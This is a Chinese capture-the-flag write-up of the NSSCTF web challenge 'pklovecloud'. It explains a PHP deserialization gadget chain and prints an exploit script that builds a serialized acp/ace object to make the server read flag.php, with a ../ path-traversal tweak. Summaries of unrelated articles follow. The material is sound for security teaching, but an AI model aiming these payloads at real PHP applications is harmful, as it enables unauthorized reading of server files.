NSSCTF-WEB-pklovecloud

news2024/11/24 12:35:58

目录

前言

正文

思路

尝试

结尾


前言

许久未见,甚是想念.

今天来解一道有意思的序列化题


正文

思路

<?php
include 'flag.php';
class pkshow
{
    function echo_name()
    {
        return "Pk very safe^.^";
    }
}

class acp
{
    protected $cinder;
    public $neutron;
    public $nova;
    function __construct()
    {
        $this->cinder = new pkshow;
    }
    function __toString()
    {
        if (isset($this->cinder))
            return $this->cinder->echo_name();
    }
}

class ace
{
    public $filename;
    public $openstack;
    public $docker;
    function echo_name()
    {
        $this->openstack = unserialize($this->docker);
        $this->openstack->neutron = $heat;
        if($this->openstack->neutron === $this->openstack->nova)
        {
            $file = "./{$this->filename}";
            if (file_get_contents($file))
            {
                return file_get_contents($file);
            }
            else
            {
                return "keystone lost~";
            }
        }
    }
}

if (isset($_GET['pks']))
{
    $logData = unserialize($_GET['pks']);
    echo $logData;
}
else
{
    highlight_file(__file__);
}

序列化,首要的肯定是找哪里可以执行指令或者查看flag

首先我们一开始就看见了这个

include 'flag.php';

当然光看这个没有什么意义

除此之外

function echo_name()
    {
        $this->openstack = unserialize($this->docker);//这里做了一次反序列化
        $this->openstack->neutron = $heat;//$heat应该是flag.php的东西
        if($this->openstack->neutron === $this->openstack->nova)
            //===,数组绕过?
        {
            $file = "./{$this->filename}";
            if (file_get_contents($file))
            {
                return file_get_contents($file);
            }
            else
            {
                return "keystone lost~";
            }
        }
    }

这样,我们就明白了,所以$filename=flag.php;

想要执行echo_name,需要看看哪里可以调用

class acp
{
    protected $cinder;
    public $neutron;
    public $nova;
    function __construct()
    {
        $this->cinder = new pkshow;
    }
    function __toString()
    {
        if (isset($this->cinder))
            return $this->cinder->echo_name();//就是这里了
    }
}

但是,echo_name不止一处

class pkshow
{
    function echo_name()
    {
        return "Pk very safe^.^";
    }
}

我们需要调用__toString魔术方法

__toString()会在类被当作字符串调用的时候自动触发,比如说echo一个类

所以我们还需要查看哪里可以调用__toString

if (isset($_GET['pks']))
{
    $logData = unserialize($_GET['pks']);
    echo $logData;
}

我们可以先生成一个序列化,从而成功执行并调用toString()

这个时候,我们可以初步构造一个,然后慢慢修改,因为当题量大的时候,我们很难一次性就理清所有思路然后成功拿到flag

那就先随便写一个

<?php
class pkshow
{
    function echo_name()
    {
        return "Pk very safe^.^";
    }
}
class acp{
    protected $cinder;
    public $neutron;
    public $nova;
    function __construct(){
        $this->cinder=new pkshow;
    }

}

class ace//这里原封不动抄下来,因为如果成功调用ace,也会因为ace的过滤回显keystone lost~
{
    public $filename;
    public $openstack;
    public $docker;
    function echo_name()
    {
        $this->openstack = unserialize($this->docker);
        $this->openstack->neutron = $heat;
        if($this->openstack->neutron === $this->openstack->nova)
        {
            $file = "./{$this->filename}";
            if (file_get_contents($file))
            {
                return file_get_contents($file);
            }
            else
            {
                return "keystone lost~";
            }
        }
    }
}

$a=new acp();
echo urlencode(serialize($a));

原因是因为__construct事先定义了new pkshow,所以接下来我们需要进行修改

 function __construct()
    {
        $this->cinder = new ace;
    }

这个应该不难理解,当cinder修改为new ace,下面的toString就将ace实例化为字符串进行调用,又由于ace内部的过滤,所以成功输出了keystone lost~

好的,这是第一步,我们成功使toString执行aceecho_name,接下来就需要修改ace内部函数获取flag

首先,从开头我们就知道,$filename=flag.php;然后我们来看看ehco_name写了什么

 function echo_name()
    {
        $this->openstack = unserialize($this->docker);
        $this->openstack->neutron = $heat;
        if($this->openstack->neutron === $this->openstack->nova)
        {
            $file = "./{$this->filename}";
            if (file_get_contents($file))
            {
                return file_get_contents($file);
            }
            else
            {
                return "keystone lost~";
            }
        }
    }

关键还是这里的强比较,由此联想数组绕过

关于数组绕过,可以详细看这位师傅的文章

浅谈CTF中各种花式绕过的小trick_ctf 字符串绕过-CSDN博客

对于这种没有丝毫过滤,且具有一点条件的玩法(docker被反序列化),直接定义一个null即可实现相等

一般来说,我们使用a[]=1&b[]=2来绕过,这样实际上a=null,b=null.因为a[]b[]实际是一个空数组

这里的话,我们直接让docker=null即可,这样因为 $this->openstack->neutron就会让neutron=null

那么,接下来


尝试

EXP:

<?php
class acp{
    protected $cinder;
    public $neutron;
    public $nova;
    function __construct(){
        $this->cinder=new ace;
    }

}

class ace
{
    public $filename='flag.php';
    public $openstack;
    public $docker=null;
}


$a=new acp();
echo urlencode(serialize($a));

由于本人比较喜欢极简,所以删除了不必要的代码

好的,我们继续

不在当前目录下

../以后成功拿到flag

成功


结尾

我也没想到在七月开头的第二天,就已经实现了1w访问量的成就

这对于一位小白代学生来说,是一件值得自豪的事情

也希望未来能够带来更高质量的文章

最后,求赞求关注

感谢!!!!!!!!!!!!!!!!!!!!


作者的其他文章

BugKu-WEB-sodirty_bugku sodirty-CSDN博客

攻防世界-WEB-WEIPHP(记一次有趣的代码审计)_攻防世界weiphp-CSDN博客

攻防世界-WEB-catcat-new_攻防世界catcat-new-CSDN博客

BugKu-WEB-unserialize-Noteasy_bugku unserialize-noteasy-CSDN博客

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/2211861.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

安当数据库透明加密组件:守护您的 ClickHouse 数据安全

数据库简介 ClickHouse 是一款高性能的列式数据库管理系统&#xff0c;专为在线分析处理&#xff08;OLAP&#xff09;设计。它以其卓越的查询性能、强大的 SQL 支持和灵活的可扩展性&#xff0c;在大数据分析领域广受赞誉。无论是实时数据分析、业务智能还是广告技术&#xf…

栈溢出0x0D ret2_dl_runtime_resolve

实际上&#xff0c;dl_runtime_resolve 是通过最后的 字符串 来确定执行那一个函数的&#xff0c;也就是说&#xff0c;可以通过控制这个地址的内容来执行任意函数&#xff0c;比如&#xff1a;system 而 reloc_arg 是我们可控的&#xff0c;我们需要控制reloc_arg 间接控制 最…

【096】基于SpringBoot+Vue实现的私人健身与教练预约管理系统

系统介绍 视频演示 基于SpringBootVue实现的私人健身与教练预约管理系统 文档 PPT 源码 数据库脚本 课程设计 基于SpringBootVue实现的私人健身与教练预约管理系统采用前后端分离的架构方式开发&#xff0c;系统整体设计了管理员、教练、用户三种角色&#xff0c;实现了用户查…

根据Vue对比来深入学习React 下 props 组件传值 插槽 样式操作 hooks 高阶组件 性能优化

文章目录 函数组件的特点props组件间的传值父传子看上例子传父兄弟组件传值祖先组件传值 插槽基础插槽具名插槽作用域插槽 样式操作**CSS Modules** 生命周期useRef常用hookuseStateuseEffectuseContextuseReduceruseMemouseCallback 高阶组件什么时候使用 react性能问题和优化…

LeetCode讲解篇之2266. 统计打字方案数

文章目录 题目描述题解思路题解代码题目链接 题目描述 题解思路 我们使用逆向思维发现如果连续按存在三个字母的按键&#xff0c;最后一个按键表示的字母可以是某个字母连续出现一次、两次、三次这三种情况的方案数之和 我们发现连续按存在三个字母的按键&#xff0c;当连续按…

数据治理中的核心 元数据

数据治理中的核心元素——元数据 一、关于元数据 1、什么是元数据 元数据&#xff08;metadata&#xff09;是关于数据的组织、数据域及其关系的信息&#xff0c;简单来说&#xff0c;元数据就是被用来描述数据的数据。 概念阐述总归生涩&#xff0c;下面用几个简单的例子来…

【千图网-登录_注册安全分析报告】

前言 由于网站注册入口容易被黑客攻击&#xff0c;存在如下安全问题&#xff1a; 1. 暴力破解密码&#xff0c;造成用户信息泄露 2. 短信盗刷的安全问题&#xff0c;影响业务及导致用户投诉 3. 带来经济损失&#xff0c;尤其是后付费客户&#xff0c;风险巨大&#xff0c;造…

【双指针算法】移动零

1.题目解析 2.算法分析 可以归结为数组划分/数组分块&#xff08;采用双指针算法&#xff09;-->利用数组下标充当指针 &#xff08;1&#xff09;首先定义两个指针 dest&#xff1a;已处理的区间内&#xff0c;非零元素的最后一个位置cur&#xff1a;从左往右扫描数组&…

Stm32+Esp8266连接阿里云程序移植教程(MQTT协议)

Stm32Esp8266连接阿里云程序移植教程&#xff08;MQTT协议&#xff09; 一、前期准备二、移植过程三、程序的使用3.1 连接上阿里云3.2 传输用户数据到阿里云3.3 解析从阿里云下发给用户的数据3.4 关于调试接口 一、前期准备 自己要的工程文件移植所需的文件&#xff08;如下图&…

CentOS 7.9安装MySQL

下载Linux版MySQL安装包 下载地址https://downloads.mysql.com/archives/community/ 下载解压后 安装&#xff0c;按照从上至下顺序&#xff0c;一条一条执行即可安装完毕。 进入到rpm所在目录rpm -ivh mysql-community-common-8.0.26-1.el7.x86_64.rpm rpm -ivh mysql-comm…

计算机网络——CDN

空间编码例子&#xff1a;不是发送N个相同颜色值&#xff0c;而是仅发送2个值&#xff0c;颜色和重复个数 时间编码例子&#xff1a;不是发送i1帧的全部编码&#xff0c;而是仅发送帧i差别的地方 视频播放时&#xff0c;先下载manifest file文件——>解析&#xff08;不…

vscode中关闭cmake自动配置

前言 最近误触了一个操作&#xff0c;导致&#xff0c;一旦使用vscode打开项目&#xff0c;就会去配置cmake。或者你一旦更改cmakelists.txt&#xff0c;就会去配置cmake。 这个操作&#xff0c;结果对不对还另说&#xff0c;关键是增加计算机开销&#xff0c;使得vscode打开后…

【华为】配置BGP协议

边界网关协议BGP是一种实现自治系统AS之间的路由可达&#xff0c;并选择最佳路由的距离矢量路由协议。BGP在不同自治系统之间进行路由转发&#xff0c;分为EBGP&#xff08;外部边界网关协议&#xff09;和IBGP&#xff08;内部边界网关协议&#xff09;两种情况。 [A]in g0/0/…

使用docker搭建lnmp运行WordPress

一&#xff0c;部署目的 使用 Docker 技术在单机上部署 LNMP 服务&#xff08;Linux Nginx MySQL PHP&#xff09;。部署并运行 WordPress 网站平台。掌握 Docker 容器间的互联及数据卷共享。 二&#xff0c;部署环境 操作系统&#xff1a;CentOS 7Docker 版本&#xff1…

Spring 的依赖注入的最常见方式

在 Spring 中&#xff0c;依赖注入的方式有多种选择。下面我们来逐一分析它们的特点、适用场景和注意事项&#xff1a; 1. 构造函数注入 构造函数注入要求在对象创建时提供所有依赖。这种方式确保依赖在对象创建后不可变&#xff0c;特别适合必须强制存在的依赖。所有依赖在对…

Windows的Conda环境下使用PlotNeuralNet来绘制神经网络

项目场景&#xff1a; Windows环境下&#xff0c;使用了anaconda的Python环境管理器&#xff0c;使用PlotNeuralNet来绘制神经网络图 问题描述 在运行以下shell命令的时候 cd pyexamples/ bash ../tikzmake.sh test_simple出现了访问被拒绝的错误&#xff0c;如下所示&#x…

【数据结构】:破译排序算法--数字世界的秩序密码(一)

文章目录 一.排序算法概述1.定义和目的2.排序算法的分类2.1比较排序2.2非比较排序 二.插入排序算法1.InsertSort直接插入排序1.1.插入排序原理1.2.插入排序过程1.3.代码实现1.4.复杂度和稳定性 2.ShellSort希尔排序2.1.希尔排序原理2.2.希尔排序过程2.3.代码实现2.4.复杂度和稳…

LeetCode 132. 分割回文串 II(经典必会)

LeetCode 132. 分割回文串 II 给你一个字符串 s&#xff0c;请你将 s 分割成一些子串&#xff0c;使每个子串都是回文串。 返回符合要求的 最少分割次数 。 示例 1&#xff1a; 输入&#xff1a;s “aab” 输出&#xff1a;1 解释&#xff1a;只需一次分割就可将 s 分割成 [“…

EditPlus安装使用

1.进入EditPlus官网(https://www.editplus.com/)点击第二行蓝字 2.点击More options第一行蓝字 3.点击exe文件进入安装&#xff0c;点击Accept 4.选择下载路径 4.点击editplus.exe 5.在许可证协议中点击yes 6.输入username和regcode即可使用(也可以试用30天)

Leetcode 岛屿数量

首先检查网格是否为空&#xff0c;如果为空&#xff0c;直接返回 0。遍历网格中的每一个元素&#xff0c;当遇到陆地&#xff08;1&#xff09;时&#xff0c;计数器加 1&#xff0c;并且通过 DFS 将与该陆地相连的所有部分标记为已访问&#xff08;即设为 0&#xff09;。DFS …